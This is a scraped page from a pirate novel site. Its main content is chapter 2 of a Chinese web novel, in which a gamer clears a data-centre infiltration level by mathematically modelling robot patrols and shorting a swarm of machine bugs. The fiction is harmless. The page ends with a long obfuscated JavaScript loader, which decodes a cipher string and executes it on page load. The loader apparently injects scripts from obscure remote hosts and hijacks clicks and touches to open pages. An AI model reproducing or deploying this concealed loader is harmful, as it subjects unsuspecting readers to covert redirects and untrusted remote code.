首页
[切换至繁体版]
返回

第二章 越级

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第二章越级(第1/2页)
    废弃的数据中心坐落在主城外围的工业区深处,是一座被铁锈和藤蔓覆盖的旧式建筑。
    系统提示在视野左上角闪烁——【距离考核任务开启还有30秒】。
    林哲站在建筑外围的警戒线外,快速扫描着周围的环境。数据中心有三层,外墙上的联邦徽记已经被风化得模糊不清。入口处的大门虚掩着,门缝里透出微弱的蓝色应急灯光。建筑周围有六台巡逻中的安保机甲,外形像是放大版的蜘蛛,每条机械腿的末端都装着感应器,走起路来发出有节奏的咔嗒声。
    六台。移动路线交叉覆盖。视觉感应范围大约15米。
    他蹲下身子,目光追踪着六台机甲的移动轨迹。五分钟后,一个完整的巡逻模型在脑海中成型。
    安保机甲的巡逻路线是固定的,但六台机甲的路线相互嵌套,形成了一张几乎没有死角的监视网。北侧的两台在入口附近交叉巡逻,重叠时间只有三秒。东侧有一台间歇性故障,每七圈就会停一次。南侧的机甲感应范围最大,覆盖了整个后院。西侧有两台,一上一下,形成了立体监视。
    常规思路:利用东侧故障机甲的停摆间隙潜入。
    但林哲注意到一个问题——那台故障机甲停摆的时候,它的感应器并没有关闭。它在原地停留三秒,然后重新启动。在那三秒里,它的感应范围会缩小到五米,但依然在工作。而且它停摆的时候,西侧上层那台机甲的角度正好可以覆盖它缩小的感应盲区。
    这是一个陷阱。
    系统故意设计了一个看似漏洞的故障机甲,引诱玩家去利用它。如果按照常规思路行动,会在第三步踩进六台机甲的交火区。
    林哲嘴角微扬。
    有意思。这个考核关卡的设计者,在巡逻路线的编排上用了博弈论的基础模型——用表面漏洞掩盖真正的防线。
    如果是别人,可能要多试几次才能发现。但他不需要试。
    因为他看的是数学。
    ---
    【考核任务开始。请在30分钟内取回三块数据芯片。倒计时开始:29:59】
    林哲没有动。
    他依然蹲在警戒线外的阴影里,目光扫过六台机甲。他的大脑正在高速运转,将每台机甲的速度、路线、感应范围、重叠区域全部转换成数据,然后在脑海中搭建起一个动态的推演模型。
    这是一个六变量动态系统的求解问题。
    目标是:找到一条路径,使他在通过感应区域时,与任何一台机甲的距离都不小于安全阈值。
    安全阈值是多少?刚才在远处观察时,他注意到一只流浪猫跑进了警戒区。当猫距离一台机甲12米时,机甲的感应灯变色。所以感应触发距离大约在12米到15米之间。
    保守估计,安全阈值设为13米。
    那么问题转化为:在六个移动的圆形探测范围中,是否存在一条连续路径,使路径上的每一个点距离至少一个探测范围边缘的距离都大于13米?
    林哲闭上眼睛,让六条巡逻路线在脑海中重叠、旋转、编织。
    二十五秒后,他睁开了眼睛。
    存在。但不是一条线,而是七个离散的跳跃点——必须精确地在特定时间到达特定位置,误差不能超过半秒。
    这不像潜行,更像是解一道动态几何题。
    而解题是他最擅长的事。
    ---
    第一台机甲转向的瞬间,林哲动了。
    他没有冲向那个看似薄弱的东侧,而是笔直地朝着两台机甲交汇密度最高的北侧入口跑去。在距离入口还有三米的时候,他猛然停住,背靠着一根锈蚀的金属立柱站定。
    左侧的机甲从他前方两米处走过,感应灯保持绿色。右侧的机甲从他身后四米处走过,同样没有触发。
    两台机甲的交汇时间刚好结束。它们一左一右分开的瞬间,中间出现了一个只有三秒的三角盲区。
    林哲没有犹豫,一步跨过警戒线,贴墙进入了数据中心内部。
    没有警报声。
    第一关通过。
    他靠在门内的墙壁上,快速调整呼吸,同时用目光扫视室内。应急灯发出黯淡的蓝光,照亮了一条长长的走廊。走廊两侧是一扇扇紧闭的门,门牌上的编号大部分已经脱落。地面上散落着碎裂的屏幕和缠绕在一起的数据线。空气中有股霉味,混合着电子元件老化的气味。
    终端上弹出了一条任务更新:
    【数据芯片位置已标记。第一枚:三层档案室。第二枚:地下室主机房。第三枚:顶层信号塔。】
    三枚芯片,分布在不同楼层。
    而要到达那些位置,他必须先通过走廊。
    林哲扫了一眼走廊的地面。在昏暗的光线下,地面看起来只是普通的金属地板。但他注意到了不对劲的地方——有几块地板的接缝处,有极其细微的磨损痕迹。那是被频繁踩压或者移动过的痕迹。
    压力感应地板。
    在科技联邦的设定里,这种地板可以通过感知压力变化来触发警报或者陷阱。也就是说,踩上去没问题,但踩的压力不对就会触发。
    林哲蹲下来,用手指轻轻敲了敲地板。实心的。又敲了敲旁边的地面。空心的。
    压力感应的阈值应该设置在成年人体重范围。他现在的虚拟体重按照系统设定,大约在70公斤左右。也就是说,以正常步态踩上去,肯定会触发。
    但他不需要正常步态。
    林哲后退两步,深吸一口气,然后开始助跑。在距离第一块感应地板还有半米的时候,他起跳了。
    不是往前跳,而是侧身蹬墙。
    左脚踩上左侧墙壁的瞬间,他借力反弹,身体在空中翻转,双手精确地扣住了天花板上的一根管道。然后他用一个类似引体向上的动作将身体拉上去,双腿夹住管道,整个人以倒挂的姿势悬挂在半空中。
    压力感应地板只对地板有效。天花板不在它的感应范围内。
    林哲倒挂在管道上,像一只壁虎一样快速向前移动。每前进一段距离,他就会观察下一段走廊的布局,寻找可以借助的支撑点——管道、灯具架、通风口盖板。所有的建筑结构在他眼中都变成了可计算的数据点,支撑力、距离、摆动幅度、落点精确度——每一个变量都清晰可见。
    当他从管道上跳下来,落在二楼楼梯口的时候,终端上的计时器显示:27:14。
    还有二十七分钟。
    他沿着楼梯向上。二楼的走廊比一楼更暗,应急灯在这里已经坏了大半,只剩下远处的两盏还在忽明忽暗地闪烁。空气中那股霉味更重了,混合着某种金属被腐蚀后产生的酸性气味。
    档案室在三楼。按照任务描述,那里应该存放着第一枚数据芯片。
    楼梯刚上到一半,林哲忽然停住了。
    他听到了声音。
    不是机甲发出的那种机械咔嗒声,而是更轻、更细碎的声响,像是很多东西在地面上爬行。声音从走廊深处传来,越来越近。
    林哲慢慢蹲下身,从楼梯边缘探头望过去。
    走廊尽头,一群巴掌大的金属虫子正在涌出来。它们的形状像是蟑螂和蜘蛛的结合体,有六条腿和一对钳状的口器,身体表面覆盖着银灰色的金属外壳。数量很多,密密麻麻地铺满了走廊的地面和墙壁,至少有上百只。
    【名称:清理虫群】
    【等级:5】
    【类型:群体型机械单位】
    【注意:虫群为连锁感应单位,触发一只将引发全体攻击。】
    连锁感应。
    这个词在游戏术语里意味着一个最简单的规则:你只要触发了其中一只,剩下的所有都会进入战斗状态。
    上百只5级的清理虫。以他1级的属性面板,正面战斗毫无胜算。
    林哲没有急着行动。他盯着那群虫子的移动轨迹看了很久,然后在脑海里完成了建模。
    虫群在走廊里是无序移动的,但它们的密度分布在空间上并不均匀。走廊的左侧墙壁因为漏水形成了一个小水洼,虫群会避开那个区域。走廊右侧有一块暴露的电线,虫群也会绕开。
    避水,也避电。
    但水和电本身不是武器——至少在这个浓度下不是。
    林哲的目光开始扫描走廊里的其他资源。墙壁上的应急电源盒。天花板上的自动喷淋头。地面上散落的导线。角落里堆积的旧式数据存储盘。
    他的大脑开始自动整合这些信息,推演它们之间可能存在的因果链条。
    三秒后,他有了答案。
    电缆。水管。虫群。三者之间的距离和连接方式,可以通过一个简单的因果序列完成闭环。
    他需要一个触发点。
    林哲悄无声息地从楼梯口退回来,沿着墙壁摸向走廊中部。他不需要靠近虫群,他只需要找到一个特定的位置——应急电源盒与喷淋系统控制阀的交叉节点。
    在走廊的第七块天花板面板后面,他找到了。
    那是一组老旧的线路集成器,控制着这一层走廊的应急照明和消防系统。线路的外壳已经开裂,里面的铜线裸露出来,带着微弱的电流声。
    林哲从口袋里掏出那柄初始匕首。
    匕首是制式装备,没有附加属性,伤害低得可怜。但它的刀柄是绝缘材料。
    他用刀背撬开线路集成器的外壳,让里面的线路暴露得更多。然后他在走廊的应急电源和消防系统之间找到了一根主控线——那根线的外壳已经完全老化了。
    林哲深吸一口气,把匕首的刀尖插入线缆接口,轻轻一挑。
    老化的线皮应声而破。
    铜线裸露,电流在黑暗中闪出一朵小小的蓝色火花。紧接着,消防系统的控制阀感应到了电流异常,自动启动了喷淋程序。
    走廊天花板上的喷淋头全部打开。
    不是水——是导电灭火液。
    在科技联邦的设定里,这种灭火液专门用于扑灭数据中心火灾,它的导电性是水的三倍。
    灭火液喷涌而出,浇在了走廊的地面上,浸湿了老化的电线,蔓延到了暴露的铜线接口。
    电流顺着灭火液扩散,在金属地板上形成了一张看不见的电网。
    虫群在接触到灭火液的一瞬间——
    全部短路。
    上百只清理虫同时爆出蓝色电火花,金属外壳噼里啪啦地炸裂,六条腿僵硬地蜷缩起来,然后一动不动地倒在了地上。整个过程只持续了不到三秒。
    走廊重新归于寂静。
    林哲看着满地的虫尸,面无表情地关掉了还在喷水的消防喷淋头。
    他没有击杀任何一只虫子的战斗记录。系统判断这些虫子死于环境伤害,不计算经验值。
    但他不在乎经验值。
    他要的是结果。
    走廊清空了。他跨过虫子的残骸,走上三楼,推开了档案室的门。
    第一枚数据芯片就放在档案室中央的操作台上。那是一块巴掌大小的晶体,内部流转着淡蓝色的数据流光芒。
    林哲拿起芯片,终端弹出了提示:
    【第一枚数据芯片已获取。剩余时间:24:02】
    一枚到手。还剩两枚。
    他把芯片装进战术服的口袋,转身走出档案室。就在他跨出门槛的那一刻,脚下忽然一软——
    地板塌了。
    设计这个关卡的人,确实坏得很。
    感应地板只是第一层陷阱。消防系统是第二层。而在已经清空的区域里预设一个触发式陷坑,是第三层。这不是单纯考验操作或者智力的单个难关,而是一套层层递进的诱导机制——当你以为自己已经看破了所有陷阱的时候,真正的埋伏在你最松懈的地方等着你。
    林哲在下坠的零点几秒里看到了很多东西。头顶的缺口迅速缩小,周围的墙壁是金属材质,表面有焊接的痕迹,这不是预设的建筑结构,而是刻意加装的陷阱通道。下方传来机械运转的低沉轰鸣声,还有一股更浓烈的酸性气味。下落的速度在加快,他调整了一下姿势,让身体保持垂直。
    三秒后,他看到了一扇正在快速关闭的隔断门。他伸手扣住门框,但锈蚀的金属边缘承受不住下坠的冲击力,他只停顿了一瞬,门框就崩裂了。他的身体继续下坠,穿过了那道门,重重地砸在了一个坚硬的地面上。
    震击感在虚拟世界里依然真实得令人咬牙,生命值在视野左上角跳动了一下。
    【生命值:67/100】
    掉了三成多。
    林哲撑着地面站起来,发现四周比刚才更加黑暗,空气中那股酸味浓郁得刺鼻。脚下的地面不再是走廊的金属板,而是粗糙的水泥质地,带着潮湿的黏腻感。头顶的通道口已经封死了,他现在所在的位置是地下二层。
    他打开了终端的照明功能,光圈照亮了周围的一小片区域。
    这是一个机房。
    准确地说,是一个废弃的地下主机
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();